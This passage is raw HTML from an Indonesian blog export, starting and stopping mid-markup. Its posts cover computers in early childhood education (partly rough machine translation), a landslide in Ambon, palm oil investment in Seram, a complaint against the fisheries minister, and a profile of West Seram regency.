onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Tapi banyak anak, kewalahan dengan volume data dan efek khusus mencolok dari World Wide Web dan perangkat lunak banyak, ada masalah fokus pada salah satu tugas.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Dan sebuah studi baru dari American Association of University Women meragukan klaim bahwa komputer secara otomatis memotivasi belajar.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Banyak anak perempuan, itu ditemukan, yang bosan oleh komputer.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Dan banyak anak laki-laki tampaknya lebih tertarik dalam permainan video kekerasan daripada perangkat lunak pendidikan.</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" ><br /></span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(51, 102, 255);"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><b><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Harus lima-year-olds dilatih pada komputer hari ini untuk mendapatkan pekerjaan yang membayar tinggi besok?</span></b></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Untuk jumlah yang relatif kecil anak-anak penyandang cacat tertentu menawarkan teknologi, manfaat.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Tapi bagi mayoritas, komputer berpose bahaya kesehatan dan berpotensi serius masalah-masalah perkembangan.</span></span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Perhatian khusus adalah meningkatnya insiden kecelakaan kerja stres berulang antara mahasiswa yang mulai menggunakan komputer di masa kanak-kanak.</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Teknologi di sekolah hari ini akan menjadi usang jauh sebelum lima-year-olds pascasarjana.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Kreativitas dan imajinasi adalah prasyarat untuk pemikiran inovatif, yang tidak akan pernah usang.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Namun diet berat membuat komputer gambar-siap dan mainan diprogram tampaknya akrobatik berpikir imajinatif.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Guru melaporkan bahwa anak-anak dalam masyarakat elektronik menjadi mengkhawatirkan kekurangan dalam menghasilkan gambar dan gagasan mereka sendiri.</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" ><br /></span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(51, 102, 255);"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><b><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Apakah komputer benar-benar "menghubungkan" anak-anak dunia?</span></b></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Terlalu sering, apa yang sebenarnya menghubungkan komputer anak-anak adalah permainan sepele, materi dewasa tidak patut, dan iklan yang agresif.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Mereka juga dapat mengisolasi anak-anak, emosional dan fisik, dari pengalaman langsung dari alam.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >The "jarak" pendidikan mereka mempromosikan adalah kebalikan dari apa yang semua anak, dan terutama anak-anak beresiko, kebutuhan yang paling - dekat hubungan dengan orang dewasa yang peduli.</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Penelitian menunjukkan bahwa obligasi memperkuat antara guru, siswa, dan keluarga adalah obat kuat untuk siswa bermasalah dan berjuang sekolah.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >teknologi terlalu menekankan dapat melemahkan ikatan itu.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Dewan Sains Nasional pada tahun 1998 melaporkan bahwa kontak yang terlalu lama untuk lingkungan komputasi dapat membuat "individu tidak mampu berhubungan dengan kekacauan realitas, kebutuhan pembangunan masyarakat, dan tuntutan dari komitmen pribadi."</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Pada kelas awal, anak-anak membutuhkan pelajaran hidup yang melibatkan tangan mereka, hati, badan, dan pikiran - bukan simulasi komputer.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Bahkan di sekolah tinggi, di mana manfaat komputer yang lebih jelas, beberapa teknologi kelas terlalu menekankan etika atau bahaya riset online dan komunikasi.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Terlalu sedikit membantu siswa mengembangkan keterampilan yang penting untuk membuat penilaian independen tentang potensi Internet - atau teknologi lainnya - untuk negatif serta konsekuensi sosial yang positif.</span></span></p><p style="margin: 0px 0px 0.5em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><i><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Kesimpulan kami: Mereka yang menempatkan kepercayaan mereka pada teknologi untuk memecahkan masalah pendidikan seharusnya melihat lebih dalam kebutuhan anak-anak.</span></i></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><i><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Pembaruan pendidikan memerlukan perhatian pribadi untuk siswa dari guru yang baik dan orang tua aktif, sangat didukung oleh masyarakat mereka.</span></i></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><i><span style=";font-family:Verdana,Arial,Helvetica,sans-serif;font-size:85%;" >Hal ini membutuhkan komitmen untuk pendidikan sesuai dengan tahapan perkembangan dan perhatian pada serangkaian penuh nyata anak-anak, kebutuhan teknologi rendah - fisik, emosional, dan sosial, serta kognitif.</span></i></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">Oleh karena itu, kami menyerukan:</span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">1: A memusatkan di pendidikan, di rumah dan sekolah, pada hal yang penting tentang masa kecil yang sehat: ikatan yang kuat dengan orang dewasa peduli; waktu untuk spontan, bermain kreatif, kurikulum yang kaya dalam musik dan seni lainnya; membaca buku-buku keras; cerita dan puisi ; ritme dan gerakan, memasak, membangun sesuatu, dan kerajinan lainnya, serta berkebun dan lainnya di tangan-pengalaman dari alam dan dunia fisik.</span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">2: Sebuah dialog publik luas tentang bagaimana penekanan pada komputer akan mempengaruhi kebutuhan riil anak-anak, terutama anak-anak dalam keluarga berpenghasilan rendah.</span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">3: Sebuah laporan komprehensif oleh US Surgeon General pada sejauh penuh fisik, emosional, dan lain perkembangan komputer menimbulkan bahaya bagi anak-anak.</span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">4: Penuh dengan pengungkapan-perusahaan teknologi informasi tentang bahaya fisik untuk anak-anak menggunakan produk mereka.</span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">5: Sebuah menghentikan ke hyping komersial atau sia-sia teknologi yang berbahaya bagi anak-anak.</span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">6: Sebuah penekanan baru pada etika, tanggung jawab, dan berpikir kritis dalam mengajar siswa yang lebih tua tentang dampak sosial dan teknologi pribadi.</span></span></p><p style="margin: 0px 0px 0.5em; color: rgb(204, 0, 0);font-family:arial;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">7: Sebuah moratorium pengenalan lebih lanjut dari komputer pada anak usia dini dan pendidikan dasar, kecuali untuk kasus khusus siswa penyandang cacat.</span></span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:85%;">Semacam time-out diperlukan untuk menciptakan iklim untuk rekomendasi di atas untuk mengambil tempat.</span></span></p></span></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-44015617529229335202010-08-12T17:29:00.000-07:002011-03-23T12:02:02.721-07:00Komputer untuk Pendidikan Anak Usia Dini<span style=";font-family:arial;font-size:100%;" ><br /></span><span style=";font-family:arial;font-size:100%;" ><span onmouseover="_tipon(this)" onmouseout="_tipoff()"><span style="font-size:180%;">Komputer dan teknologi</span> yang berhubungan telah memasuki ruang kelas anak-anak dari segala usia di tahun-tahun terakhir.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Ide menggunakan komputer untuk mengajar anak-anak pemrograman kembali ke tahun 1960-an dan penemuan bahasa pemrograman Logo.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Sejak itu ribuan pendidik percaya bahwa komputer adalah alat untuk meningkatkan perkembangan kognitif pada anak-anak.</span><span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-size:100%;" ><span class="Apple-style-span" style="line-height: 18px;"><p style="margin: 0px 0px 1em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Selama tiga tahun terakhir semua Victoria (di Australia) sekolah dasar negeri telah dilengkapi dengan komputer dan akses internet untuk siswa mereka, mengikuti perkembangan serupa di Amerika Serikat dan Inggris.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Antara 1989 dan 1992, sekolah yang diperoleh AS 1.100.000 komputer; pada tahun 1995 total mencapai sekitar 5.800.000, sekitar satu komputer untuk setiap sembilan siswa.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Di New South Wales (Australia), teknologi komputer adalah suatu mata kuliah wajib yang baru diperkenalkan penelitian untuk semua guru sekolah dasar masa depan, dan sekolah dasar yang mendesak untuk menyediakan akses komputer bagi siswanya.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Perkembangan ini kini telah mencapai sektor anak usia dini, TK dan TK, serta industri penitipan anak.</span></p><p style="margin: 0px 0px 1em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Periklanan sebuah 'pusat sepenuhnya terkomputerisasi' telah menjadi sarana menarik untuk mendaftar.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Apakah ini pemberita fajar era baru pendidikan dan masa depan yang lebih baik bagi anak-anak, atau apakah kita terlibat dalam percobaan besar-besaran di seluruh dunia yang menempatkan anak-anak beresiko?</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Pertanyaan ini kini masih diperdebatkan.</span></p><h2 id="a2" style="margin: 14px 0px 0.3em; line-height: 17px; font-weight: normal;font-size:17px;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()">FUNGSI:<br /></span></h2><p style="margin: 0px 0px 1em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()">• Komputer meningkatkan prestasi akademik anak.</span><span class="Apple-converted-space"> </span><br /><span onmouseover="_tipon(this)" onmouseout="_tipoff()">• Semakin awal seorang anak diperkenalkan dengan penggunaan komputer, semakin baik dia akan siap menghadapi tuntutan dari tempat kerja di kemudian hari dan semakin besar kemungkinan masa depan yang sukses.</span><span class="Apple-converted-space"> </span><br /><span onmouseover="_tipon(this)" onmouseout="_tipoff()">• Jika teknologi terbaru tidak menemukan jalan ke dalam pendidikan umum, banyak anak, terutama mereka yang berasal dari keluarga berpenghasilan rendah, akan kehilangan dan dirugikan.</span><span class="Apple-converted-space"> </span><br /><span onmouseover="_tipon(this)" onmouseout="_tipoff()">• Hari ini adalah teknologi yang berhubungan dengan komputer memainkan peran penting dalam mengakses informasi.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Belajar adalah sangat tergantung pada informasi dan terhubung ke dunia, sehingga komputer harus tersedia bagi para siswa.</span><span class="Apple-converted-space"> </span><br /><span onmouseover="_tipon(this)" onmouseout="_tipoff()">• Komputer Motivasi besar untuk belajar dan meningkatkan interaksi mereka.</span><span class="Apple-converted-space"> </span><br /><span onmouseover="_tipon(this)" onmouseout="_tipoff()">• Saat ini tersedia perangkat lunak pendidikan bisa dipercaya untuk membantu belajar anak-anak.</span></p><h2 id="a3" style="margin: 14px 0px 0.3em; line-height: 17px; font-weight: normal;font-size:17px;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()">penelitian mengatakan:</span></h2><p style="margin: 0px 0px 1em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Di Amerika Serikat, sekelompok dari 75 pendidik, anak-pengembangan dan otoritas kesehatan, ahli teknologi, dan peneliti baru-baru ini berbalik kepada masyarakat untuk menyatakan keprihatinan mereka tentang arus 'eksperimen komputerisasi masa kanak-kanak'.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Mereka telah menunjuk kurangnya penelitian mengenai dampak pada perkembangan anak dan belajar dan panggilan untuk moratorium lebih banyak komputer untuk anak-anak.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Empat belas pakar dari tujuh universitas di Amerika Serikat telah memberikan kontribusi untuk laporan menyeluruh pada penelitian di bidang teknologi pendidikan selama 30 tahun terakhir.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Dalam laporan ini, Fool's Gold: A Look Kritis di Komputer pada Anak, isu bahaya potensial untuk anak-anak dalam perkembangan teknologi dalam pendidikan diselidiki serta masalah manfaat.</span></p><p style="margin: 0px 0px 1em;"><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Penelitian sejauh ini tidak mendukung pengeluaran saat ini dan yang diusulkan miliaran dolar pada teknologi di sekolah dasar.</span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">(Pengeluaran yang diusulkan oleh pemerintah Amerika Serikat sebesar sampai 8 miliar dolar per tahun.) Larry Kuba dari Stanford University, mantan presiden American Educational Research Association, menemukan bahwa: "Drill-dan-praktek program muncul untuk meningkatkan nilai sederhana - meskipun tidak sebanyak atau secara ekonomis sebagai satu-satu les - pada beberapa tes standar di bidang keterampilan yang sempit.</span><span class="Apple-converted-space"> </span><span onmouseover="_tipon(this)" onmouseout="_tipoff()">Selain itu, tidak ada tubuh, jelas komandan bukti yang menggunakan berkelanjutan siswa multimedia komputer, internet, pengolah kata, spreadsheet, dan aplikasi lainnya yang populer mempunyai dampak pada prestasi akademik. "</span></p></span></span></span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-48939373173633831732010-08-12T16:46:00.000-07:002011-03-23T11:58:43.679-07:00Avalanche Shut Two House Residents in Small Hative BTN<span style="color: rgb(51, 51, 255);font-size:180%;" >Ambon</span> <span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:'Times New Roman';font-size:100%;" ><span class="Apple-style-span" style="color: rgb(72, 65, 55);font-family:Arial;" >August 12th, 2010</span></span><br />Due to heavy rain which flushed of Ambon City, Wednesday night,causing two home residents in small Hative BTN, District Baguala Ambon Bay, buried by landslides. Two ill-fated house is a family owned and Sahetapy Thomson Sinambela, which is precisely in block E, RT. 003/06. There were no fatalities in this incident, but losses are estimated to occur only in the tens of million of rupiah.<br /><br />Thursday (12 / 8), this morning, said the landslide mud that accompanied this comes from the cliff behind the house. As a result, the kitchen was badly damaged two houses due to the reaction of the cliff. Even a result of this incident also, a large tub of water penampun located behind the two houses were also destroyed.According to some eyewitnesses, during the event, one child was almost buried by landslides Thomson Sinambela, but quickly evacuated surrounding residents. While the father Sahetapy who was alone in the house also briefly evacuated the surrounding neighbors.This morning, residents around the location of Small Hative BTN is being shoulder to shoulder to clear the debris lands in the second house.<br /><br /><span style="color: rgb(255, 0, 0); font-weight: bold;">from ambon_maluku to the world.</span><span style="font-weight: bold;"> </span><span style="color: rgb(255, 0, 0); font-weight: bold;"><br />Report : King of Rey de Lyphosse</span>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-85966977535203943172010-08-12T04:30:00.000-07:002010-08-12T18:47:34.515-07:00Investasi Perkebunan Kelapa Sawit di Seram Menjanjikan<div class="clearfix" style="display: block; color: rgb(0, 0, 0); font-family: arial;"><div class="mbs uiHeaderSubTitle lfloat fsm fwn fcg" style="float: left; margin-bottom: 5px; font-size: 11px; font-weight: normal;"><div><p style="margin: 0px; font-size: 13px; text-align: left; line-height: 1.5em;">Ambon: Investasi bidang perkebunan kelapa sawit yang dikembangkan PT Nusa Ina Grup di Kobisonta, Kabupaten Maluku Tengah cukup menjanjikan karena bisa menghasilkan sekitar Rp. 5 miliar setiap bulan. “Keuntungan ini kami dapat dari hasil penjualan produksi minyak sawit dan pengolahan sabut kelapa untuk keperluan dalam negeri maupun ekspor ke beberapa negara,” kata Kabag Umum perusahaan tersebut, Abdul Malik Manaf di Ambon, Rabu. Dana ini kemudian dikelola untuk membiayai operasional perusahaan dan membayar gaji karyawan yang mencapai 2.500 orang, baik yang bekerja di pabrik pengolahan maupun petani yang melakukan penanaman kelapa sawit. Abdul Malik mengatakan, dalam mencari peluang pasar lebih besar baik untuk perdagangan antar pulau (interinsuler) maupun tujuan ekspor, pihaknya ikut berpartisipasi dalam kegiatan Maluku Expo, yang merupakan salah satu rangkaian acara Sail Indonesia ke X di Ambon 30 Juli – 4 Agustus kemarin. Dari 1,5 juta pohon kelapa sawit yang sudah dikembangkan pada lahan seluas 3.000 hektare, PT. NIG sudah mulai meproduksi minyak sawit lewat pabrik pengolahan yang dibangunnya. Pihak perusahaan juga membeli kelapa milik masyarakat dalam jumlah besar karena sabutnya diolah menjadi produk industri rumah tangga. Untuk mendukung program penjualan produk minyak sawit dan sabut kelapa, Perusahaan agro bisnis terpadu ini selain mengelola perkebunan kelapa sawit, juga membangun sebuah kapal untuk menampung 1.000 ton serta mengembangkaan ternak sapi di daerah itu. Perusahaan itu juga melakukan kerja sama dengan pihak Telkomsel membangun menara komunikasi untuk mobiler yang dijadwalkan akan rampung 2011 guna memperlancar arus komunikasi di daerah itu.</p></div></div></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_6VBDU06ln3Q/TGPgWqX2pGI/AAAAAAAAAJg/NcrHY-dj7Pg/s1600/ngezo6.jpg"><span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; font-family: arial;font-family:'Times New Roman';font-size:16px;" ><span class="Apple-style-span" style="color: rgb(51, 51, 51); text-align: left;font-size:11px;" ></span></span><br /><span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:'Times New Roman';font-size:16px;" ><span class="Apple-style-span" style="color: rgb(51, 51, 51); text-align: left;font-family:'lucida grande';font-size:11px;" ></span></span></a>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.comtag:blogger.com,1999:blog-7934653146360007498.post-85969969516971663392010-08-12T02:07:00.000-07:002010-08-12T18:52:15.863-07:00Menteri DKP RI Telah Bohongi Rakyat Maluku<a style="font-style: italic;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_6VBDU06ln3Q/TGPT7RGJLhI/AAAAAAAAAJQ/w4fRXualZXU/s1600/ngezo10.jpg"> <span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="color: rgb(51, 51, 51); font-family: 'lucida grande'; font-size: 13px; line-height: 19px; text-align: left;">Ambon: Menteri Departemen Kelautan dan Perikanan Republik Indonesia, Fadel Muhammad, dinilai telah membongi masyarakat Maluku, terkait tidak terwujudnya pencanangan Maluku Sebagai Lumbung Ikan Nasional. Padahal dua hari sebelum pencanangan itu, Fadel telah meyakinkan masyarakat, bahwa Maluku akan dicanangkan sebagai Lumbung Ikan Nasional. Ucapan Fadel itu disampaikan saat acara dialog terbuka dengan para utusan masyarakat nelayan dari berbagai daerah di Maluku yang berlangsung di Pulau Banda. Pertemuan yang berlangsung pada tanggal 1 Agustrus 2010 tersebut, Fadel di dampingi Gubernur Maluku, Karel Albert Ralahalu dan Bupati Maluku Tengah, Abdullah Tuasikal. Saat itu Fadel dengan lantang mengatakan, masyarakat Maluku perlu berbangga, karena tinggal “dua hari lagi” pada tanggal 3 Agustus, bersamaan dengan acara pembukaan event Internasional Sail Banda 2010 di Ambon, presiden SBY juga mencanangkan Maluku sebagai Lumbung Ikan Nasional. Mendengar ucapan Fadel itu, para peserta termasuk Gubernur dan Bupati Maluku Tengah, kemudian memberikan rasa terimakasih dengan cara beramai-ramai bertepuk tangan. Namun kenyataanya kini menjadi lain, yakni ucapana Fadel tersebut hanya tinggal kenangan. Sejumlah masyarakat nelayan yang saat itu hadir di Pulau Banda, yang secara kebetulan bertemu kemarin di Ambon, sempat bertanya, apakah betul, pencanangna Maluku sebagai Lumbung Ikan Nasional itu gagal pak, tanya mereka. kemudian memberikan jawaban dan mengatakan ya, gagal, dan mencoba merincikan bahwa, saat itu presiden hanya mengatakan dukungannya saja untuk Maluku dijadikan sebagai Lumbung Ikan Nasional, namun tidak ada pencanangan seperti kata pak menteri saat itu. “ Wah berarti saat itu pak Menteri DKP RI telah membohongi kami, padahal kami sangat menunggu kesempatan itu untuk memperbaiki tarap ekonomi kami,” kata salah satu nelayan yang tidak mau dipublikasikan namanya. Meskipun secara terang-terangan Maluku telah gagal dicanangkan sebagai Lumbung Ikan Nasional, namun Gubernur Maluku, Karel Albert Ralahu, selaku pihak yang bertanggung jawab di daerah, hingga kini belum juga memberikan pernyataan resminya kepada masyarakat Maluku prihal kegagalan itu.</span></span></a>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-40685786945407009152010-08-12T00:03:00.000-07:002010-08-12T17:45:45.573-07:00acara Peresmian "PHini Kid's" PKBM Hena Lo'i<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA3gdbS8pTC-N8DBBoj2kh6udqyEPu8zmHahs_s7ljvbXjX4KvXj9q7h-pMUtjY53IqAO8Fn7umxfnNnRURJHiZnca_IfGqmBKcL8ZuCNR_YWciVbw2DIJnRMFkVJdcfH6ccts273GPlhX/s1600/P7010084.JPG"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 400px; height: 300px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA3gdbS8pTC-N8DBBoj2kh6udqyEPu8zmHahs_s7ljvbXjX4KvXj9q7h-pMUtjY53IqAO8Fn7umxfnNnRURJHiZnca_IfGqmBKcL8ZuCNR_YWciVbw2DIJnRMFkVJdcfH6ccts273GPlhX/s400/P7010084.JPG" alt="" id="BLOGGER_PHOTO_ID_5504423626827070658" border="0" /></a>Jeffrey Riryhttp://www.blogger.com/profile/14559331934133217857noreply@blogger.com0tag:blogger.com,1999:blog-7934653146360007498.post-80449909074471791342010-08-11T03:22:00.000-07:002010-08-11T03:28:30.680-07:00KABUPATEN SERAM BAGIAN BARAT<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_6VBDU06ln3Q/TGJ6wtVC25I/AAAAAAAAAJA/t4R-PGEkQLU/s1600/pulaumarsegu.JPG"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 134px;" src="http://1.bp.blogspot.com/_6VBDU06ln3Q/TGJ6wtVC25I/AAAAAAAAAJA/t4R-PGEkQLU/s200/pulaumarsegu.JPG" alt="" id="BLOGGER_PHOTO_ID_5504096671820340114" border="0" /></a><br />Kabupaten Seram Bagian Barat adalah salah satu kabupaten yang berada di Propinsi Maluku. Kabupaten ini memiliki luas 5.176 km2 dengan jumlah penduduk 157.318 jiwa. Jumlah itu tersebar di empat kecamatan, yaitu; Kecamatan Kairatu, Seram Barat, Huamual Belakang, dan Taniwel. Dari jumlah tersebut, 77.177 adalah pria dan 80.141 jiwa adalah wanita. Pendidikan penduduk tersebut mayoritas rendah. Sekitar 75 persen tidak tamat SLTA. Komposisi pendidikan yang rendah ini, mengarahkan aktivitas ekonomi pada sektor pertanian.<span class="Apple-converted-space"> </span><span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:'Times New Roman';font-size:16px;" ><span class="Apple-style-span" style="text-align: left;font-family:verdana;font-size:14px;" ><br /><div style=";font-family:verdana;font-size:14px;"><div align="justify"><span style="font-family: arial;font-size:100%;" ><br />Pertanian merupakan sektor paling banyak digeluti penduduk setempat. Kontribusi sektor ini pada pembentukan PDRB mencapai 34.56 persen berdasar harga konstan (2000), atau senilai Rp 88,8 milyar. Padi banyak terdapat di Kecamatan Kairatu dan Taniwel. Untuk produk palawija seperti jagung dan ubi kayu, kedelai dan kacang tanah banyak terdapat di Kairatu. Sedangkan ubi jalar banyak terdapat di Kairatu dan Taniwel. Untuk sayur mayur banyak terdapat di Kairatu.</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br />Sementara buah-buahan seperti alpukat, durian, jambu dan duku banyak terdapat di Seram Barat dan Taniwel; mangga tersebar di empat kecamatan yang terbanyak Taniwel. Jeruk banyak dihasilkan kecamatan Seram Barat dan Huamual Belakang; Jambu tersebar merata di empat kecamatan, pepaya di Kairatu dan Seram Barat. Salak di Taniwel; manggis di Taniwel dan Kairatu. Ddapun nangka merata di empat kecamatan.</span><span style="font-family: arial;font-size:100%;" class="Apple-converted-space" > </span><span style="font-family: arial;font-size:100%;" ><br /><br />Perkebunan di Kabupaten Seram Barat menghasilkan kelapa, 